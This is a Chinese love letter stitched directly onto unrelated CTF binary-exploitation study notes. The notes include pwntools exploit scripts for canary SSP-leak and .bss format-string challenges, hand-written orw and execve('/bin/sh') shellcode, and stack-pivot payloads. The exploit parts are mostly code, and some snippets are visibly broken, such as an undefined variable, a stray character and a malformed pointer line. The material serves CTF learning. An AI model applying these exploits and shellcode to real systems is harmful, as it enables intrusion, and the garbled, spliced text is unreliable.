致BB的一封信

我亲爱的 [农彩霞],

在这个特别的一天我深陷于对你的思念之中感受到了南宁的美好想象着我们共同度过的时光一周年纪念日是我们爱情长征路上的一个重要里程碑我想借着这份深情的信将我内心的情感全部倾诉给你让你能够感受到我对你深深的眷恋

即使你现在不在南宁你的工作让你身处在新的城市我仍然能够感受到你努力工作的样子感受到你为了梦想而拼搏的勇气你的坚韧和努力不仅是你个人的成就更是我们共同未来的奠基石

回想起我们曾经一同追逐梦想的时光我为你所取得的一切感到无比自豪即便身处异地我们仍能共同分享对未来的期许和憧憬你的付出让我深感敬佩也让我更加珍惜我们之间的感情

在这段异地恋的旅途中我们学会了坚强学会了相互信任也更加懂得如何去珍惜每一次的视频通话仿佛是我们在共同追求梦想的过程中相互支持的场景我能够感受到你为梦想而努力的决心仿佛我们彼此之间并不存在距离

我的爱你是我生命中最美丽的风景是我心灵深处的依托在这个纪念日里我想对你说你的存在让我的生命变得更加完整你的坚韧理解和支持是我不断前行的力量源泉

虽然我们今天不能共度这个美好的时刻但我坚信将来的日子我们会共同拥有更多如画般的瞬间每一次思念都是对我们共同奋斗的一次回溯愿我们的爱情故事越来越美好愿每一个纪念日都是我们甜蜜的见证

在我心中每一个新的城市都和你的勇敢紧密相连愿我们一起走过更多的时光创造更多美好的回忆期待着未来期待着与你共同书写属于我们的未来

深情的拥抱

[陈阳]

DASCTF APR

DASCTTF WRITE UP

FOUR

考察点

  1. canary的绕过方式
  2. 代码的审计能力
  3. 栈喷射脏数据感染未初始化数据

安全检测

DA1.png

  1. 全RELRO则got表不可改
  2. 存在canary对应题设
  3. 堆栈可执行但有canary
  4. 无地址随机化

关于canary的几种绕过方式

  1. 什么是canary
    1. canary是一种栈保护机制是操作系统在bp指针的一个低地址单元插入的一串随机数在栈函数流程执行完后则拿出canary在栈上的数据和原canary值比对若相同则透明若不同则报错
      DA2.PNG
  2. 绕过方法一泄漏canary
    1. 格式化字符串泄漏栈数据中的canary
    2. 相同的函数调用时调用相同canary借助其他函数或篡改的rop链读出canary
    3. 无已知printf函数无法构造rop链则不行
  3. 绕过方法二fork函数爆破
    1. 对fork而言作用相当于自我复制每一次复制出来的程序内存布局都是一样的当然canary值也一样
    2. 逐字节爆破fork函数为一个特殊函数拥有两个返回三种状态>0返回父函数== 0继续子进程<0发生错误两反三态
    3. 逐字节进行循环若和已有canary不同则错误开启一个新的子进程
      若符合则读取已有之后的canary脚本进行接收符合条件
      并进行下一字节循环的爆破直到探明为止
    4. 无fork函数则不行
  4. 绕过方法三got表篡改恶意触发canary错误调用目标函数
    1. 若___stack_chk_fail() got表可改则可考虑篡改got表为目标函数从而满足功能如get shell /open flag
    2. full RELROgot表不可改不行
  5. 绕过方式四___stack_chk_fail() argv[0] 可控则恶意触发canary错误打印栈中数据SSP LEAK
    1. argv[0]是指向第一个启动参数字符串的指针 将其篡改为目标地址则可读出栈中内容
    2. 该题采用本方法进行flag读出

IDA反编译看下重点是过硬的代码审计能力

–>已将重要变量重命名以及流程代码的标注

DA3.png

  1. main函数的几个分支选项——–>菜单页面

DA4.png

  1. choose 1 ——–> 读出printf的got表地址可进行leak_libc但关闭标准错误因为ssp需要抛出错误信息若关闭则使得ssp失效

DA5.png

  1. choose 2 ———->调用一个可开极大栈空间的函数之后将输入内容加密输出看似没用但这里正是做题关键点栈喷射

    1. 栈喷射是个大而宽泛的概念主要应用于极大空间的栈溢出的内容的构造
    2. shellcode的nop sled以及前后栈帧非初始化变量的感染都属于栈喷射
      DA6.png
      DA7.png
  2. choose 3 ———> 官方提示的目标危险函数

    1. 函数操作将传入的前几个参数进行加密并输入文件名以开启复制有s1变量读入的dest变量调试output.txt存在为空则dest可未初始化若被从前栈帧上的脏数据感染则可open flag

DA8.png

  1. 脚本调试
    1. 向choose2喷射满flag\x00字符
    2. 当函数调用完成栈空间释放上一个函数的数据实际并不被擦除或覆盖这些数据仍然存在于栈上只是不被当前函数在访问标记为删除若下个函数重新申请空间则再将栈空间内存进行初始化覆盖这里若下一个函数的变量未进行初始化则会被上一个栈帧的脏数据感染赋值空安全
    3. 脚本调试与结果
from pwn import *
p=process('/home/lilbc/桌面/pwn1' )
context(os='linux', arch='amd64')
context(os='linux', arch='amd64')
p.sendlineafter(b"your choice : \n",str(2))
p.sendlineafter(b"You can give any value, trust me, there will be no overflow\n",str(24559))
gdb.attach(p)
pause()
payload=b'aa'+b'flag\x00'*0x1320
p.sendlineafter(b"Actually, this function doesn't seem to be useful\n",payload)

p.sendlineafter(b"Really?\n",b'n')

p.sendlineafter(b"your choice : \n",str(3))
p.sendlineafter(b"Enter level:",str(2))
gdb.attach(p)
pause()

DA9.png
choose 2 的canary地址落于0xc1850
DA10.png
choose 3 的canary落于0xc1760
两函数栈帧几乎重叠开启从二图中也见栈帧也已被flag脏数据感染
若flag\x00字符串读入未初始化变量dest则open flag

DA11.png

  1. choose 4 ———> 一个需要构造参数的read函数
    1. 主要考察是否对asc码敏感先给出asc表进行参考

在这里插入图片描述

  1. fd 文件描述符
    1. 文件检测符检测到~号使得数组i[]中第二个参数的asc码—0的asc码的值赋为文件描述符
    2. 51-48=3
  2. v6 read地址
  • 在检查一个字符数组 i 中的某个位置 j 是否满足以下条件
  • 位置 j 上的字符是冒号:
  • 位置 j + 1j + 2j + 3 上都有字符
  • 位置 j + 4 上没有字符

如果满足这些条件那么代码会执行以下操作

  • 将变量 v6 的低字节设置为位置 j + 1 上的字符
  • 将变量 v6 的次低字节设置为位置 j + 2 上的字符
  • 将变量 v6 的高字设置为位置 j + 3 上的字符将其转换为无符号整数
  • 跳出循环
  1. v1 长度
    1. 检测到@和*符号之间有⼩写字母a~z 把⼩写字母的ascii码作为写⼊长度
  2. choose 5—–>栈溢出 ssp触发器

思路

  • choose 2写脏数据感染choose 3的dest变量将flag读出调用choose 4 read函数将flag变量读到已知栈内存中通过choose5将arg[v0]值改为上方法写入的flag地址即可触发SSP从而get flag
  • IDA测出arg[v0]的偏移为0x10+0xdef0-0xe008=0x128手动调试是0x118
  • DA13.png

EXP

from pwn import *
#p=remote('node4.buuoj.cn',26153)
p=process('/home/lilbc/桌面/pwn1' )
#libc=ELF('./libc.so.6')
#elf = ELF('./pwn1')
context(os='linux', arch='amd64')
p.sendlineafter(b"your choice : \n",str(2))
p.sendlineafter(b"You can give any value, trust me, there will be no overflow\n",str(24559))
payload=b'aa'+b'flag\x00'*0x1320
p.sendlineafter(b"Actually, this function doesn't seem to be useful\n",payload)
p.sendlineafter(b"Really?\n",b'n')
gdb.attach(p)
pause()
p.sendlineafter(b"your choice : \n",str(3))
p.sendlineafter(b"Enter level:",str(2))
gdb.attach(p)
pause()
p.sendlineafter(b"Enter mode:",str(2))
p.sendlineafter(b"Enter X:",str(3))
payload=b'a'*0x10
p.sendlineafter(b"Enter a string: ",payload)
p.sendlineafter(b"please input filename\n",'output.txt')


p.sendlineafter(b"1. yes\n2.no\n",str(2))

p.sendlineafter(b"your choice : \n",str(4))
payload=b'11>:`!!>@a*>~3'
p.sendlineafter('info>>\n',payload)

p.sendlineafter(b"your choice : \n",str(5))
payload=b'a'*0x118+p64(0x602121)
p.sendlineafter(b"This is a strange overflow. Because of canary, you must not hijack the return address\n",payload)

p.interactive()

引用参考zsnick师傅https://blog.csdn.net/mochu7777777/article/details/130309288

CANARY爆破

canary爆破.png
注意这里是逐字节爆破
fork函数为一个特殊函数两个返回三种状态>0返回父函数== 0继续子进程<0发生错误
注意注意这里的canary已经存在
所以内部循环流程为
逐字节进行循环若和已有canary不同则错误开启一个新的子进程
若符合则读取已有之后的canary脚本进行接收符合条件
并进行下一字节循环的爆破直到探明为止

bss段上的格式化字符串处理

bss段上的格式化字符串处理–SWPUCTF_2019_login

1区别

bss段上的格式化字符串和栈上的格式化字符串最大的区别在于
输入的格式化字符串被放在.bss段导致无法直接利用格式化字符串写在栈上的数据进行任意地址写
采取的攻击措施是
利用ebp寄存器的地址映射将ebp映射的—->一个栈中地址A的指针指向—->和got表相似的地址B从而完成先将B地址修改为printfgot表的地址—>借助两次格式化字符串修改printfgot表的值从而将printf的got表的值修改为system的got表的值getshell+v+ yes

总结既然写的东西都在bss段中那么利用ebp的地址映射把与目标输入的类似的栈中已有的地址先写进去之后不断修改构造出合适的攻击链进行get shell

2IDA分析

![[bssfmastrpic1.png]]
明显的格式化漏洞但写在了bss段上

3gdb调试

  • ebp寄存器的的参数偏移是6
  • ebp所指的映射地址为0xffc78f28参数偏移是10
  • 两个以80开头与got表地址相似的栈中的地址参数偏移分别是911

通过修改这个ebp即可以修改两个与got表相近的栈中地址为printf的got表地址之后只要将这两个victim_got地址分高低位分别一起修改为system的got表地址,并输入sh即可get shell
构造结果如下
这里的printf+2是因为这里修改的是printfgot表的前两位32位操作系统4位一字节先改前两位再改后两位
![[bssfmastrpic3 2.png]]

4exp

from LibcSearcher import *
from pwn import *

io=process('./SWPUCTF_2019_login')
elf=ELF('./SWPUCTF_2019_login')
libc=elf.libc
context.log_level='debug'

def fmtsend(addr,place):
    io.recvuntil('Try again!\n')
    payload = '%'+str(addr)+'c'+'%'+str(place)+'$hn'
    print payload
    io.sendline(payload)
#解释<span class="bd-box"><h-char class="bd bd-beg"><h-inner>:</h-inner></h-char></span>将偏移是place的地址所指向的地址的后两位修改为addr

def debug():
    gdb.attach(io,"b *0x080485AF")
    io.sendline('aa')

io.sendlineafter('name:','aaa')
payload1='%15$p'
io.sendlineafter('password:',payload1)
io.recvuntil('This is the wrong password: ')
libc_start_main = int(io.recvuntil('\n')[:-1],16)-262
# libc=LibcSearcher('__libc_start_main',libc_start_main)
# libc_base=liba_start_main-libc.dump('__libc_start_main')
libc_base=libc_start_main-libc.sym['__libc_start_main']
print "libc_base----->" + hex(libc_base)
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh\x00").next()
payload2='%6$p'
io.sendlineafter('Try again!\n',payload2)
io.recvuntil('This is the wrong password: ')
target=int(io.recvuntil('\n')[:-1],16)
print "target----->" + hex(target)
print hex(elf.got['puts'])

heap_base = target-0x28
stack_addr = heap_base+0x2c
stack_addr2=heap_base+0x24
bias1=stack_addr&0xffff
bias2=elf.got['printf']&0xffff
bias3=stack_addr2&0xffff
system_back4=(system&0xffff)
system_for4=(system&0xffff0000)>>16
print hex(bias1)
print hex(bias2)
print hex(system)
print hex(system_for4)
print hex(system_back4)
# pause()



# gdb.attach(io,"b *0x080485AF")
fmtsend(bias1,6)
fmtsend(bias2,10)
fmtsend(bias1-8,6)
fmtsend(bias2+2,10)
payload = '%'+str(system_back4)+'c'+'%'+str(11)+'$hn'+'%'+str(system_for4-system_back4)+'c'+'%'+str(9)+'$hn'
io.recvuntil('Try again!\n')
io.sendline(payload)
io.sendline(';sh')

io.interactive()

5exp构造完之后的思考

  1. 在做bss段中的格式化字符串题目时我们改变ebp指向的地址进行的地址映射从而实现了修改栈中相似数据更替目标数据约等于向栈空间写入数据
  2. 做类似题目的前提是栈中存在可泄漏的got表地址
  3. 写入两个victim_got地址目的是通过依次修改它们高低两字节而高修稿成功率的将printf函数地址修改为system函数地址
  4. heap addr这里的地址标注是有问题的等会思考后写上去
    op_stack_now=target-0x28
    stack_addr=top_stack_now+0x2c
    stack_addr2=top_stack_now+0x24
    bian1=stack_addr&0xffff
    bian2=elf.got[‘printf’]&0xffff
    bian3=stack_addr2&0xffff
    system_low=system &0xffff
    system_hign=(system>>16)&0xffff
    ————————————————
  5. 这里bss段的第一个参数是![[bssfmastrpic3 2.png]]
    第二行的ja哪里
pwndbg> b printf
pwndbg> r
pwndbg> stack 30
00:0000│ esp  0xffffcfdc —▸ 0x8048540 (do_fmt+69) ◂— add    esp, 0x10 //ret地址
01:0004│      0xffffcfe0 —▸ 0x804a060 (buf) ◂— 0x61616161 ('aaaa')  //输入的格式化字符串
02:0008│      0xffffcfe4 —▸ 0x8048640 ◂— jno    0x80486b7 /* 'quit' */  //偏移1
03:000c│      0xffffcfe8 ◂— 0x4    //偏移2
04:0010│      0xffffcfec —▸ 0x804857c (play+51) ◂— add    esp, 0x10
05:0014│      0xffffcff0 —▸ 0x8048645 ◂— cmp    eax, 0x3d3d3d3d
06:0018│      0xffffcff4 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
07:001c│ ebp  0xffffcff8 —▸ 0xffffd008 —▸ 0xffffd018 ◂— 0x0   //偏移6<span class="bd-box"><h-char class="bd bd-end"><h-inner>【</h-inner></h-char></span>ebp=0xffffcff8->旧ebp=0xffffd008<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>在MIT6.828中我们学习过<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>设置栈就是通过设置ebp=0<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>因此这个0x0是最后一个ebp<span class="bd-box"><h-char class="bd bd-beg"><h-inner>】</h-inner></h-char></span>
08:0020│      0xffffcffc —▸ 0x8048584 (play+59) ◂— nop      //偏移7
09:0024│      0xffffd000 —▸ 0xf7fb3d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0028│      0xffffd004 ◂— 0x0
0b:002c│      0xffffd008 —▸ 0xffffd018 ◂— 0x0    //偏移10<span class="bd-box"><h-char class="bd bd-end"><h-inner>【</h-inner></h-char></span>旧ebp<span class="bd-box"><h-char class="bd bd-beg"><h-inner>】</h-inner></h-char></span>
0c:0030│      0xffffd00c —▸ 0x80485b1 (main+42) ◂— nop        //偏移11
0d:0034│      0xffffd010 —▸ 0xf7fb33dc (__exit_funcs) —▸ 0xf7fb41e0 (initial) ◂— 0x0
0e:0038│      0xffffd014 —▸ 0xffffd030 ◂— 0x1
0f:003c│      0xffffd018 ◂— 0x0
10:0040│      0xffffd01c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add    esp, 0x10
11:0044│      0xffffd020 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
13:004c│      0xffffd028 ◂— 0x0
14:0050│      0xffffd02c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add    esp, 0x10
15:0054│      0xffffd030 ◂— 0x1
16:0058│      0xffffd034 —▸ 0xffffd0c4 —▸ 0xffffd290 ◂— 0x6d6f682f ('/hom')
17:005c│      0xffffd038 —▸ 0xffffd0cc —▸ 0xffffd2cb ◂— 'XDG_VTNR=7'

这一题也可以从写入的buf段地址进行判断
6. spidermana.github.io/_posts/2019-04-17-hitcon_pwn_writeUp.md at 27d5c5d56df3b1366526cbb05267cf4ae92b4af3 · spidermana/spidermana.github.io
不会的化可以看以上github的详细解读

pwnable_orw(重点为手写shellcode与沙盒orw机制)

1.安全检测

  1. 32位操作系统
  2. Partial RELRO:got.plt可读可写
  3. 无NX堆栈可执行
  4. 无地址随机化
  5. 有读写权限

2.IDA调试


很明显提示写入shellcode这道题连远程时可以调falg文件只需将其读出来存在orw_seccomp函数禁用部分函数的程序调用那么这道题的思路就是利用**_1可通行的函数2手写shellcode3读出flag_**
_

3.什么是orw_seccomp函数沙盒机制

  1. 简介seccomp 是 secure computing 的缩写其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制在 Linux 系统里大量的系统调用system call直接暴露给用户态程序但是并不是所有的系统调用都被需要而且不安全的代码滥用系统调用会对系统造成安全威胁seccomp安全机制能使一个进程进入到一种安全运行模式该模式下的进程只能调用**4种**系统调用system callread(), write(), exit() 和 sigreturn()否则进程便会被终止
  2. prctl 函数

#include <sys/prctl.h> 
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5); 

这里有5个参数重点看option就知道它是想干嘛这里主要关注2点

PR_SET_NO_NEW_PRIVS(38)

PR_SET_SECCOMP(22)

我们通俗易懂地理解就是prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用也就是**system和onegadget都没了,还会教子进程也这么干prctl(222)表示设置沙箱规则从而可以实现改变函数的系统调用通行或者禁止这次重点研究沙箱规则设置 seccomp 其实也就是设置沙箱规则**

  1. seccomo-tools的介绍
  • seccomp-tools 是可以帮助我们查看哪些 syscall 被禁止的一个工具
  • linux系统下载命令
    • sudo apt install gcc ruby-dev
    • sudo gem install seccomp-tools
  • 效果
  • openreadwrite三个函数可通行
  1. 思路
  • 通过open函数打开当前目录下的 flag 文件
  • 利用read函数读取文件中的数据
  • 利用write函数将文件中的数据打印到屏幕上

4.如何手撸一个满足题意的shellcode

这里详细讲一下如何手写shellcode以来打下坚实的基础+v+嘿嘿~

1.什么是系统调用

  • shellcode是一组可注入的指令可以在被攻击的程序中运行由于shellcode要直接操作寄存器和函数所以必须是十六进制数的形式
  • 为什么写shellcode因为我们要让目标程序以不同于设计者的预期进行运行而操作程序的方法之一是使程序产生系统调用system call通过系统调用可以直接访问系统内核
  • 在liunx操作系统下有两个方式来执行系统调用间接方式是利用c函数进行包装直接方式是用会汇编指令把适当的参数加载到寄存器之中利用int 0x80···进行软中断叼调用

下面示例exit的系统调用

int main(void)
{
    exit(0);
}               
/*编译时使用static选项<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>防止使用动态链接<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>在程序中保留exit函数的系统调用码*/

gcc -static -o exit exit.c

  • _exit+0行是把系统调用的参数加载到ebx中
  • _exit+4和_exit+15行是把对应的系统参数号分别复制给eax
  • 最后的int 0x80指令是把cpu转到内核模式并执行系统调用

2.为exit系统调用写shellcode

  • 基本了解exit系统调用后开始写shellcode
  • 注意的是应将shellcode尽量写的简介紧凑目的是为了可以将其注入到更小的缓冲区
  • 在实际环境中shellcode将在没有其他指令为它设置参数的情况下执行所i我们要自己来进行参数传递

tips

  1. 32位参数放在栈上编写shellcode时函数传递参数寄存器顺序为a,b,c,d,…..
  2. 64位前六个参数放在寄存器rdirsirdxrcxr8r9中其余的放在栈上

具体步骤

  1. 把0存在ebx中
  2. 把1存在eax中
  3. 执行int 0x80来进行系统调用
Section .text
  global _start
_start:
  mov ebx, 0
  mov ax, 1
  int 0x80

然后用nasm编译生成目标文件再用gun ld来连接

nasm -f elf32 exit_shellcode.asm
ld -i exit_shellcode exit_shellcode.o

objdump看opcode


看到shellcode中存在一些**NULL\x00字符当把shellcode复制到缓冲区中时可能出现异常因为字符数组用null做终止符要编写真正有用的shellcode我们务必**把\x00消去

  1. 这里看第一条指令mov eb0将0放入ebx中可以利用xor指令在操作数相等的情况下返回0也就是说可以在指令中不使用0但是结果返回零那么我们就可以用xor来代替mov指令

mov ebx, 0 –> xor ebx, ebx

  1. 再看第二条指令mov ax1为什么这条指令也会有null呢我们知道**eax是32位4字节操作系统的寄存器而我们只复制一个字节到了寄存器而剩下的部分系统会自动用null来填充**熟悉eax组成分为两个16位区域用ax可以访问第一个区域而ax又分为al低八位和ah高八位两个区域那么解决凡是就是只把1复制到al就行
Section .text
    global _start
_start:
    xor ebx, ebx
    mov al, 1
    int 0x80


消除\x00

  1. shellcode测试
  char shellcode[] = "\x31\xdb"
                   "\xb0\x01"
                   "\xcd\x80";
int main(void)
{
    int *ret;
    ret = (int *)&ret + 2;
    (&ret) = (int)shellcode;
}

编译后用strace来查看系统调用


3.编写execve()的shellcode

—–exit可能没什么意思接下来我们做些更有趣的事情-派生root shell来控制整个目标系统
在linux系统中有两种防止可以创建新进程**是通过现有的进程来创建并替换正在的活动**是利用现有的进程来生成它自己的拷贝并在它的位置运行这个新的进程
execve系统调用就是后者

  1. execve调用号是11
  2. 接下来我们需要知道它作为输入的参数用man手册就可以查看
    1.
    1. 3个参数必须包含以下内容
      1. filename必须执行包含要执行的二进制文件的路径的字符串这个例子中就是字符串[/bin/sh]
      2. argv[]是程序的参数列表大多数程序将使用强制性/选项参数进行运行而我们只想执行/bin/sh没有更多的参数所以参数列表只是一个NULL指针但是按照管理第一个参数是我们要执行的文件名所以argv[]就是[‘/bin/sh’00000000]+v=划重点嘞
      3. envp[]是要以keyvalue格式传递给程序的任何其他环境选项的列表为了我们的目的这将是NULL指针\x00000000
  3. 和exit()一样我们使用int 0x80的系统调用注意要在eax中包含execve的系统调用号11
  4. 开始编写shellcode
    5.

这里讲解下为什么要向堆栈中反省推送//bin/sh

  1. 我们知道在x86堆栈中是从高地址到弟子之的所以要输入反向的字符串同样因为4的倍数的最短指令会更容易些.
  2. /bin/sh是7个字节的如何将他变为8个字节呢很简单加个/就ok了+v=因为在linux中/可以作为占位符而存在

用python来生成hs/nib//的十六进制位

之后将分两半塞入栈中即可

  1. 编译成功后用objdump来进行查看

分享一个提取shellcode的指令

objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

  1. shellcode的验证
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
  printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}


get shell+v=

回到本题结合题目要求进行shellcode的构造

  1. open函数的shellcode
  xor ecx,ecx;
  xor edx,edx;
   //初始化//
  push 0x0;        #字符串以\x00结尾 
  push 0x67616c66; #flag十六进制
  mov ebx,esp;     #指向flag的地址<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>进行open
  mov eax,0x5; 
  int 0x80;

tipspush指令会影响esp寄存器的值push指令首先减少esp的值再将源操作数复制到堆栈如果操作数是16位的则esp减2如果操作数是32位的则esp减41

  1. read函数的shellcode
mov ebx,0x3;         //文件描述符
mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>esp指向地址
mov edx, 0x40;
mov eax, 0x3;
int 0x80;

tips0是标准输入1是标准输出2是标准错误这意味着如果此时去打开一个新的文件它的文件描述符是3再打开一个则是4······

  1. write函数的shellcode
mov ebx, 0x1;
mov ecx, 0x0804A0A0;
mov edx, 0x40;
mov eax, 0x4;
int 0x80;

EXP

#!/usr/bin/python
from pwn import *
from LibcSearcher import *
a=process("orw")
elf=ELF("orw")
context(arch='i386',os='linux',log_level='debug')


shellcode = asm('''
 xor ecx,ecx;
 xor edx,edx;
 push 0x0
 push 0x67616c66;
 mov ebx,esp;
 mov eax,0x5;
 int 0x80;

 mov ebx,0x3; 
 mov ecx, 0x0804A0A0;
 mov edx, 0x40;
 mov eax, 0x3;
 int 0x80;
 
 mov ebx, 0x1;
 mov ecx, 0x0804A0A0;
 mov edx, 0x40;
 mov eax, 0x4;
 int 0x80;
                  ''')
print len(shellcode)
a.recvuntil("Give my your shellcode:")
payload=shellcode

a.sendline(payload)
a.interactive()

当然这么麻烦的汇编代码也同时做了集成工具处理=v=但是自己手写下才是最好滴–v=

from pwn import *
context.log_level = 'debug'
elf = ELF('orw')
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendline(shellcode)

r.interactive()q

周六周天接着上次组会把格式化字符串重新复盘下儿

简记录栈迁移学习途中复习汇编的流程

#一些汇编指令的含义

![[Pasted image 20230312120910.png]]
1pop出栈即将栈顶指针所指向的数据弹出栈并储存在指定的寄存器中并将栈顶指针向高地址移动一段距离
以下为具体示意pop是汇编指令中的一种用于从栈中弹出数据并存储到指定的内存地址中它的含义是将栈顶指针所指向的数据弹出栈并存储到指定的内存地址中并将栈顶指针向上移动一段距离以便后续可以继续从栈中弹出数据在Intel 80x86 CPU架构中pop指令通常用于函数调用时弹出参数以及恢复程序现场时恢复寄存器的值等场景pop指令的操作数可以是寄存器或内存地址具体取决于所要弹出栈中的数据类型和数据存储的位置当数据类型为字节时栈顶指针向上移动一个字节的距离当数据类型为双字DWORD栈顶指针向上移动4个字节的距离在执行pop指令时需要确保栈顶指针不会越过栈顶否则就会发生栈下溢等错误

2push入栈即将数据放入栈顶指针所指向的位置并将栈顶指针向下以移动一段距离是不是很形象的将栈帧向下移动一段距离
以下为具体示意push是汇编指令中的一种用于将数据压入栈中它的含义是将数据放入栈顶指针所指向的位置并将栈顶指针向下移动一段距离以便后续可以继续向栈中压入数据在Intel 80x86 CPU架构中push指令通常用于函数调用时将参数入栈以及保存当前程序现场时保存寄存器的值等场景push指令的操作数可以是寄存器内存地址或立即数具体取决于所要压入栈中的数据类型和数据存储的位置当数据类型为字节时栈顶指针向下移动一个字节的距离当数据类型为双字DWORD栈顶指针向下移动4个字节的距离在执行push指令时需要确保栈顶指针不会越过栈底否则就会发生栈溢出等错误

3mov ebp esp即为ebp<—–esp将右值赋给左值更可以形象理解为左边的寄存器移动到右边

4,b高s低b底s顶b静s动b过去s未来s就是光标
b是赛高的s无所谓
esp ebp在函数调用过程中的形式

高地址
......
|        |
|        |<- EBP<span class="bd-box"><h-char class="bd bd-end"><h-inner>(</h-inner></h-char></span>栈底<span class="bd-box"><h-char class="bd bd-beg"><h-inner>)</h-inner></h-char></span>
|  局部  |
|  变量  |
|        |
|        |
|  参数  |
|        |
|        |
|        |<- ESP<span class="bd-box"><h-char class="bd bd-end"><h-inner>(</h-inner></h-char></span>栈顶<span class="bd-box"><h-char class="bd bd-beg"><h-inner>)</h-inner></h-char></span>
......
低地址  

5栈和寄存器的相互作用关系弹出old ebp地址给ebp寄存器之后ebp寄存器在栈旁侧进行指向

6leave为先动sp寄存器指针再动bp寄存器而栈迁移的攻击核心就在于利用两次的leave指令使得sp指针被篡改到目标地址篡改ep地址为目标地址见-4
———————————————————————————分割线
#以下为栈迁移的讲解
核心思想<span class="bd-box"><h-char class="bd bd-beg"><h-inner>:</h-inner></h-char></span>让esp跑两次
第一次使篡改过后的old ebp地址出栈指向fake ebp
第二次使esp跟随到fake ebp当中开辟出一段新的栈空间

![[Pasted image 20230303190918.png]]
![[Pasted image 20230303190931.png]]
栈迁移原理介绍与应用 - Max1z - 博客园 (cnblogs.com)
这篇文章讲解的足够详细看这篇文章就足矣
要点归纳
1ebp 覆盖为 HijackAddr-4的目的是当第二次执行完leave的pop ebp后esp回向高地址移动四个字节从而使得esp指向 HijackAddr的地址从而使得eip中成功放入目标地址完成程序流窜改
2. # 第二次溢出rop写在s中栈迁移到s调用system参数为自己写在栈上的/bin/sh参数偏移计算可知

payload=p32(elf.plt['system'])+p32(elf.sym['_start'])+p32(leak_ebp-offset+0xc)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'a')+p32(target_addr)+p32(leave_ret)

第一行为向s中写数据sys plt + ret add + binsh地址 + binsh字符串
第二行为写入数据并对齐数据 + target ebp + leave ret

总结一:pwn题中的四大保护:

NX防护

![[Pasted image 20221023181159.png]]

  • 意义No-eXecute不可执行
  • 基本原理是将数据所在内存页标识为不可执行当程序溢出成功转入Shellcode时程序会尝试在数据页面上执行指令此时CPU就会抛出异常而不是去执行恶意指令got ELF while …….{思考如果存在mprotect可以进行NX防护的绕过}
  • 用来防护的攻击手段栈溢出 + 跳到栈上执行shellcode
  • 添加编译选项-z execstack 会关闭NX保护
  • 绕过方式ROP在代码段中寻在合适gadget构造gadget链最终实现获取shell

CANARY保护

![[Pasted image 20221023181117.png]]

  • 栈溢出保护阻止所有单纯的栈溢出
  • 基本原理是一种针对缓冲区溢出攻击的缓解手段当函数存在缓冲区溢出攻击漏洞时攻击者可以覆盖栈上的返回地址来让Shellcode能够得到执行当启用栈保护后函数开始执行的时候会先往栈里插入Cookie信息当函数真正返回的时候会验证Cookie信息是否合法如果不合法就停止程序运行攻击者在覆盖返回地址的是否往往也会将Cookie信息给覆盖掉导致栈保护检查失败而阻止Shellcode的执行在Linux中将Cookie信息称为Canary
  • 通俗解释在栈中紧挨ebp的上一个位置存放一个随机数当发生栈溢出时程序检查CANARY这个值和之前的是否一致如果不一致则 不会往下运行从而避免了缓冲区溢出攻击
    • 添加编译选项 -fno-stack-protector 会关闭程序的stack canary栈保护
  • 绕过方式
    1 获取填充的随机数通过爆破泄露等方法获取随机数制造栈溢出的时候在原有位置写入随机数从而实现Canary的绕过
    2劫持sym.imp.__stack_chk_fail函数若果可以劫持sym.imp.__stack_chk_fail函数使得程序调用它时调用别的函数就可以随意覆写Canary的值而不会触发错误实现Canary的绕过
    具体绕过及例题演示参考 Canary原理及绕过

PIE/ALSR保护

  • Position-Independent Executable
  • 基本原理 应用了PIE的程序在每次加载时都会变换加载基址从而使位于程序本身的gadget也失效
  • 通俗解释PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化而如果没有开PIE的话那么No PIE(0x400000)括号内的数据就是程序的基地址.
  • 防止攻击手段构造ROP链攻击如ret2libc
  • 添加编译选项 -no-pie 会关闭程序的PIE保护
  • 绕过方式通过泄露libc基址的方法获取libc版本加便宜量来获取基地址

RELRO保护

  • 基本原理 重定位设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号从而减少对GOTGlobal Offset Table攻击

  • 防止攻击者的攻击手段系统调用防止got表的调用

  • 三种保护模式
    1No RELRO
    2Partial RELRO两者区别在于got.plt位于那一段是可读可写的

    3Full RELRO
    .got 与.got.plt都只读不写对got表的一种防护手段

mprotect()函数

https://blog.csdn.net/elg5127/article/details/124221422
这个是csdn上的讲解

BUU-PWN题1-40 (yuque.com)
这个是语雀上的讲解

PWN疑难1-3-关于payload中栈的布置以及system的一些困惑 (yuque.com)
对于栈传参一篇写的贼好的文章

疑问点解释
1mprootect()函数修改的是那段内存空间
